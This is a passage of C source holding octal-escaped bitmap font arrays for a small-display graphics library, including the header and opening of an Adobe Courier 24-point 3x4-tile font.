\"f\\42\\63\\21\\21\\20\\20\\21\\63&L\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70 @\\300\\200\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\60\\20\\60 `@`\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\"\n  \"\\374\\60\\30\\10\\14\\4\\4\\14\\10\\70\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\30\\60`@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@`\\60\\30\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0@`\\60\\30\\14\\14\\30\\60`@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\60\\20\\60 `@`\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0 pp \\0\\0 pp \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\200\\201\\203\\203\\201\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 pp \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300`\"\n  \"\\20\\30\\10\\14\\4\\4\\204\\304l\\70\\30l\\306\\0\\0\\0\\0\\0\\0\\0\\0\\0\\217\\370`p\\330\\214\\206\\203\\201\\300\"\n  \"@` \\30\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\30\\60`@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77`\\300\\200\\200\\200\\200\\300\"\n  \"`\\60\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@`\\60\\30\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77`\\300\\200\\200\\200\\200\\300\"\n  \"`\\60\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\60`\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77`\\300\\200\\200\\200\\200\\300\"\n  \"`\\60\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0 pp \\0\\0\\0 pp \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77`\\300\\200\\200\\200\\200\\300\"\n  \"`\\60\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@`\\60\\30\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\34\"\n  \"t\\304\\4\\0\\0\\0\\0\\0\\4\\304t\\34\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\34p\\300p\\34\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0    \\70/! \\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\10\\10\\10\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"p\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\70`@\\300\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0   \\77    \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\340@\\0\\0\\0\\0@\\340\\340@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\34\"\n  \"t\\304\\4\\0\\0\\0\\0\\0\\4\\304t\\34\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\34p\\300p\\34\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0    \\70/! \\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Medium-R-Normal--34-240-100-100-M-200-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 95/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courR24_3x4_r[9124] U8X8_FONT_SECTION(\"u8x8_font_courR24_3x4_r\") = \n  \" ~\\3\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\341\\340\"\n  \"@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\77\\7\\1\\0\\0\\0\\1\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\370\\0\\0\\200\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\10\\10\\10\\377\\10\\10\\10\\377\\10\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\302\\77\\2\\2\\342\\77\"\n  \"\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300@` < `@\\300\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\14\\30\\20\\20\\60  `@\\301\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<\\30\\20\\60 \\340 \\60\"\n  \"\\20\\30\\14\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300`\\60\\20\\20\\60`\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\203\\206LHH,&#\\20\\20\\20\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<f\\303\\201\"\n  \"\\201\\303f<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\236\\363\\301\\200\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34w\\301\\200\\200\\203\\316xp\"\n  \"\\336\\203\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\14\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\3\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\177\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\370\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\201\\341\\63\\36\\7\\36\\63\\341\\201\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\"\n  \"@@@@@\\377@@@@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370xx\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\"\n  \"@@@@@@@@@@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\360\\360`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300x\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\340<\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\\34\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300`\\60\\20\\20\\20\\60`\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\376\\1\\0\\0\\0\\0\\0\\0\\0\\1\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7<`\\300\\200\\200\\200\\300\"\n  \"`<\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@@` \\60\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20\\20\\60 \\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\200\\300`\\60\\34\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\260\\230\\214\\206\\203\\201\\200\\200\"\n  \"\\200\\200\\200\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@` \\60\\20\\20\\20\\60 `\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0    PH\\207\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 `@\\300\\200\\200\\200\\200\\300\"\n  \"@`\\60\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200`\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\300`\\30\\14\\3\\1\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\202\\202\\202\"\n  \"\\377\\202\\202\\202\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\20\\20\\20\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\77\\20\\20\\30\\10\\10\\30\\20\\60\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\60`@\\300\\200\\200\\200\\300\"\n  \"@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300` \\60\\20\\20\\20\\20 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\374\\307\\61\\20\\30\\10\\10\\10\\30\\20p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37p@\\300\\200\\200\\200\"\n  \"\\300@p\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0p\\20\\20\\20\\20\\20\\20\\20\\20\\220\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340<\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\37\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340 \\20\\20\\20\\20\\20 \\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\314Pp   pP\\314\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37q@\\300\\200\\200\\200\\300\"\n  \"@q\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340 \\60\\20\\20\\20\\20 `\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37p@\\300\\200\\200\\300@`\\60\\17\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300@@ \"\n  \"\\60\\30\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\30<<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\360\\360`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\30<<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370\\70\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340\"\n  \"\\240\\260\\20\\30\\14\\4\\6\\2\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\6\\4\\14\\10\"\n  \"\\30\\20\\60 `\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\"\n  \"\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\2\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\3\\2\\6\\4\\14\\30\\20\\260\\240\\340@\\0\\0\\0\\0\\0\\0\\0\\0\\0` \\60\\20\\30\\10\\14\\4\\6\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300@`    `@\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\300@` ;\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\343\\340@\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300`\\60\\30\\10\\10\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\1\\0\\0\\0\\360\\30\\10\\14\\4\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37p\\300\\200\\0\\1\\3\\6\\4\"\n  \"\\4\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\2\\2\\2\\3\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0     \\340 \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\300\\70\\7\\0\\0\\0\\7\\70\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\360\\216\\203\\202\\2\\2\\2\\2\\2\"\n  \"\\202\\203\\216\\360\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340        @\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  